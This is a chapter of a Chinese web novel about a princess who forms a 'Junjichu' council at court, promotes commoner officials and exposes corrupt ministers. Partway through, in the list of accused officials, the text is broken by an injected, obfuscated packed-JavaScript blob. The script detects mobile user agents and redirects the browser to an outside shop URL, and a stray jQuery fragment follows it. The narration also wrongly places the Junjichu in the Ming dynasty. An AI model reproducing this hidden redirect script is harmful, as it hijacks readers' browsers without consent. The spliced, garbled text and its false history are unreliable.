第156章 军机处设立,掌朝政

作品:《满朝文武偷听我心声,皇位换人了

    太和殿内,一位紫袍老者出列。


    此人乃是宗正寺卿、安郡王姜衍。


    他是皇帝姜桓的堂弟,是现在宗室中除皇帝外,辈分最高者。


    如今姜衍已年过六旬,须发皆白,声音苍老却洪亮:“公主殿下,老臣有一问。”


    “您请讲。”姜稚神色平静。


    “按祖制,陛下不能视朝,当由太子监国。今太子获罪,储君空悬,该由宗室议会推举贤能暂摄朝政。”姜衍缓缓道。


    “公主虽得陛下信重,但终究是女子,且年轻资浅。这监国之权…恐不合祖制。”


    话音落,数位宗室老臣纷纷附议。


    姜稚微微一笑。


    那笑容很淡,却让姜衍心中一凛。


    他想起八年前宫宴上,这个十岁女孩驳斥王珣时,也是这般神情。


    “您所言极是。”姜稚竟颔首认可,“正因要合祖制,才要设此朝会。”


    她转身,面向百官:“皇祖父昏迷前,曾口谕于本宫:命雍王姜肃、镇北王萧寒川、户部尚书张怀瑾、刑部尚书周正元、及本宫五人,共组‘军机处’。”


    “军机处,于特殊时期总揽军国要务,以安朝局。”


    “军机处?”姜衍忍不住问,“此为何制?”


    这是昨晚,姜稚推想历史上各种制度后,想出来可以解眼下困局的最佳方法。


    明朝时期,皇帝为加强皇权、提高办事效率,设立军机处。


    而如今,大晟虽有六部,大多却是由世家把持。


    此时设立军机处,一方面可以快速集中父亲的权利,另一方面也可绕过世家把持,加快推行新政。


    她把此想法告诉了雍王跟萧寒川,并召集了张怀瑾,周正元等人,火速商讨,订下了最终的方案。


    姜肃当即上前解释道:“王叔有所不知。昨夜宫变暴露出我朝行政的弊端,遇紧急大事,六部各自为政,层层上报,延误时机。”


    “而军机处直隶陛下,专办朝政要政,人员精干,议决迅速,正可补此弊。”


    姜稚补充:“军机处暂设五日。五日后,若陛下苏醒,自当解散;若陛下仍不能视朝,则由宗室议会正式推举监国人选。”


    五日之期,既掌主动权,又留有余地。


    姜衍眯起眼,正要再言,姜稚已继续道:“此外,昨夜宫变中,礼部尚书,兵部尚书二位大人不幸殉国。”


    她顿了顿,声音微沉:“二位大人忠勇可嘉,当追封厚葬。然礼部掌宗室仪制、科举祭祀,兵部掌军政防务,于朝堂上不可或缺。”


    百官屏息。


    姜稚取出一卷诏书。


    那是她连夜草拟、加盖皇帝私印的晋升令:“现擢升:翰林院学士徐清源为礼部尚书,主理科举及宗室事务;龙渊军副将韩猛为兵部侍郎,暂代尚书职。”


    “徐清源?”姜衍皱眉,“他虽是清流,但资历尚浅,且非世家出身…”


    “正因非世家,才更合适。”姜稚截断他的话。


    “徐学士八年前曾主考‘糊名特科’,公正严明,天下士子共鉴,正是礼部尚书的最佳人选。”


    她看向徐清源:“徐大人,你可愿担此重任?”


    徐清源出列,年近五旬的儒生脊背挺直,躬身道:“臣,鞠躬尽瘁。”


    “至于兵部,”姜稚转向韩猛,“韩将军昨夜率龙渊军护驾有功,且在北疆戍边十年,熟稔军务。由他暂代兵部,诸位可有异议?”


    谁敢有异议?


    昨夜龙渊军的战力,所有人都见识过了。


    姜衍脸色铁青,却一时无言。


    姜稚趁势宣布第二件事。


    “江南盐茶**已查实,涉案官员二十七人,商贾四十余家。现命刑部、大理寺、都察院三司会审,十日内结案。所有赃银充入国库,用于黄河修缮。”


    她取出账册:“这是稚川商行八年来协查走私的明细,共追回赃银三百八十万两。其中二百万两已用于治河,剩余一百八十万两,今日便可入库。”


    张怀瑾眼睛骤亮。


    户部库银空虚已久,这笔钱简直是救命稻草!


    “第三,”姜稚声音陡然转厉,“昨夜宫变中,除太子逆党外,尚有数名官员与红莲教暗通款曲。”


    她从袖中取出一份名单:


    “吏部


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17118505|191176||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    右侍郎王崇,昨夜派家丁于宫外接应逆党,现家丁尸首已在乱葬岗寻获,身上搜出与红莲教往来密信。”


    “工部郎中谢昀,去年修缮城墙贪墨八万两,账本在此。”


    “御史周明堂,收受太子良田三千亩,为其遮掩盐**。”


    每念一个名字,殿中便有一人面色惨白。


    “此三人,即刻革职查办!”姜稚合上名单,目光扫过全场,“国难当头,凡有异心者,本宫绝不姑息!”


    雷霆手段,震慑全场。


    姜衍张了张嘴,最终沉默。


    他看出来了,这位公主是有备而来。


    提拔寒门,安抚宗室,查办贪腐,每一步都踩在要害上。


    “若无异议,散朝。”姜稚宣布,“军机处成员留下议事。”


    百官陆续退去。


    姜衍走在最后,临出殿前深深看了姜稚一眼。


    那眼神复杂难辨,有审视,有忌惮,最终化为一声几不可闻的叹息。


    大殿内只剩五人。


    姜稚这才身形一晃,扶住桌案。


    一夜未眠,又强撑精神应对朝堂,她已到极限。


    “稚儿!”姜肃连忙扶她坐下。


    萧寒川已端来温水,声音低沉:“先喝点水。”


    姜稚接过,一饮而尽,闭目缓了片刻,才重新睁眼:“各位,咱们现在谈谈最要紧的正事。”


    她铺开大晟疆域图:“宫变虽平,但我们仍是危机四伏。”


    “我猜慕容玄逃脱后,必南下与江南世家合流。江南去年水患后免赋三年,府库空虚,若红莲教煽动民变,后果不堪设想。”


    手指点向江淮:“大哥,龙渊军分一万南下,以剿匪练兵为名驻守江淮,以防民变。但不可打草惊蛇。”


    萧寒川点头:“明白。”


    “韩侍郎。”姜稚看向新任兵部侍郎,“京城防务交给你。张猛的禁军需彻底整肃,昨夜虽未从逆,但军中必有太子余党。该抓的抓,该换的换。”


    韩猛抱拳:“末将领命!”


    “张尚书,”姜稚转向户部,“这最难的差使给你。”


    “那就是筹钱!”